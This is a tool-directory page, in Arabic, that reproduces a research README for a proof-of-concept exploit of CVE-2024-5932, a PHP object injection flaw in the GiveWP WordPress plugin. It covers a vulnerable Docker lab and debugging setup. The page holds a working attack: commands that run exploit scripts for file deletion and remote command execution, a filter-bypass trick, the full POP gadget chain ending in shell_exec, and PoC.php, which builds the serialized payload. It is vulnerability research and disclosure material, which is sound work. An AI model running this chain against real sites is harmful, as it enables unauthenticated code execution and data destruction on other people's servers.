Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/nishant-kumar-5173/cve-2024-5932
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليمتطوير الحمولات
GitHub
nishant-kumar-5173/cve-2024-5932

CVE-2024-5932

استغلال لإثبات المفهوم لـ CVE-2024-5932، وهو ثغرة حقن كائن PHP في إضافة GiveWP لووردبريس، مما يتيح تنفيذ كود عن بعد غير مصادق عليه وحذف ملفات عشوائية عبر سلسلة POP.

عرض المستودع
2منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

هذا المنشور هو مقال بحثي نشر بواسطة EQSTLab.

❗❗ هام ❗❗

توجد حاليًا مستودعات PoC مزيفة على GitHub تقوم بتشغيل xmrig. تحقق من الرابط أدناه لمزيد من المعلومات:

الرابط1: https://x.com/win3zz/status/1828704644987511107

الرابط2: https://x.com/bornunique911/status/1828712791844524453

الرابط3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 حذف الملفات التعسفي و PoC لتنفيذ الأوامر عن بُعد ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

الجدول الزمني

25 أغسطس : تم رفع PoC لحذف الملفات لـ CVE-2024-5932

26 أغسطس : نجحنا في تنفيذ أوامر عشوائية باستخدام CVE-2024-5932، لكننا ندرس الإفصاح نظرًا للتأثير.

27 أغسطس : وجدنا تحليلاً تفصيليًا لـ PoC في منشور بقلم Julien Ahrens من RCE Security وقررنا نشر PoC الخاص بنا لتنفيذ الأوامر عن بُعد. قمنا برفع PoC إضافي لتنفيذ الأوامر عن بُعد باسم CVE-2024-5932-rce.py.

الوصف

CVE-2024-5932 : ثغرة حقن كائنات PHP في GiveWP الوصف: إضافة GiveWP للإضافات الخيرية ومنصة جمع التبرعات في ووردبريس معرضة لحقن كائنات PHP في جميع الإصدارات حتى 3.14.1 شاملة، وذلك من خلال إلغاء تسلسل إدخال غير موثوق من وسيط 'give_title'. وهذا يسمح للمهاجمين غير المصادق عليهم بحقن كائن PHP. يؤدي وجود سلسلة POP إلى تمكين المهاجمين من تنفيذ الأكواد عن بُعد، وحذف الملفات التعسفية.

كيفية الاستخدام

استنساخ المستودع

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

تثبيت الحزم

root@kitploit:~
pip install -r requirements.txt

الأمر

root@kitploit:~
# حذف ملف تعسفي
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(رابط نموذج التبرع)> -f <FILE_TO_DELETE(اسم الملف المراد حذفه)>
# تنفيذ أوامر عن بُعد
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(رابط نموذج التبرع)> -c <COMMAND_TO_EXECUTE(الأمر المراد تنفيذه)>

مثال

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

المخرجات

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

النتيجة

image 2

البيئة المعرضة للثغرة

1. ملف docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. ثم قم بتنزيل إضافة GiveWP المعرضة للثغرة:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. قم بفك ضغط ملف الإضافة وانسخ الملف بأكمله إلى الدليل "/var/www/html/wp-content/plugins".

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. قم بتفعيل إضافة GiveWP

image

5. أضف صفحة جديدة باستخدام إضافة GiveWP وانسخ رابط الصفحة

image

6. تحقق من الرابط المعرض للثغرة

image

(اختياري) قم بإعداد الملف الهدف في بيئة Docker

أولاً، ادخل إلى شل ووردبريس باستخدام الأمر التالي:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

إذا كان الملف مملوكًا للمستخدم root، فقد لا يتم حذفه بسبب صلاحيات الوصول. لذلك، تحتاج إلى تغيير ملكية الملف الاختباري باستخدام الأمر التالي:

root@kitploit:~
touch test && chown www-data test

image

التصحيح باستخدام PHPSTORM

يمكنك تصحيح أخطاء GiveWP باستخدام PHPSTORM.

1. قم بتنزيل xdebug في ووردبريس الخاص بك (Docker):

root@kitploit:~
pecl install xdebug

2. ثم قم بإعداد ملف php.ini لووردبريس كالتالي (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address (عنوان PHPSTORM الخاص بك)}
xdebug.client_port={your_PHPSTORM_debugging_port (منفذ التصحيح الخاص بك)}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..وبعد ذلك يمكنك تصحيح أخطاء ووردبريس الخاص بك.

3. قم بإعداد PHPSTORM كالتالي (محلياً):

image image

4. مثال على PHPSTORM (مثال: حذف ملف تعسفي باستخدام TCPDF)

image

التحليل

نقطة الثغرة (includes/payments/class-give-payment.php)

في هذه النقطة، تقوم دالة get_meta() بإلغاء تسلسل القيمة "give_title" المحفوظة مسبقًا.

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

تقنية الالتفاف

strip_tags: استبدال القيم الخالية -> باستخدام \0

stripslashes_deep: استبدال الخطوط المائلة العكسية -> باستخدام \\\\

ربط POP لتنفيذ الأوامر عن بُعد

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (إرجاع نص الأمر)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

سيناريو الهجوم

تنفيذ الأوامر عن بُعد عبر سلسلة POP

سلسلة POP تسمح بتنفيذ الأوامر عن بُعد. image

حذف الملفات التعسفي

باستخدام TCPDF، يمكن استغلال حذف الملفات التعسفي.

إخلاء مسؤولية

هذا المستودع ليس مخصصًا ليكون استغلالًا لحقن الكائنات لـ CVE-2024-5932. الغرض من هذا المشروع هو مساعدة الأشخاص في التعرف على هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.

رؤية EQST

نقوم بنشر تحليل الثغرات والبرامج الضارة مرة واحدة شهريًا. إذا كنت مهتمًا، يرجى متابعة الروابط أدناه للاطلاع على منشوراتنا. https://www.skshieldus.com/eng/business/insight.do

المراجع

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

تنزيل الأداة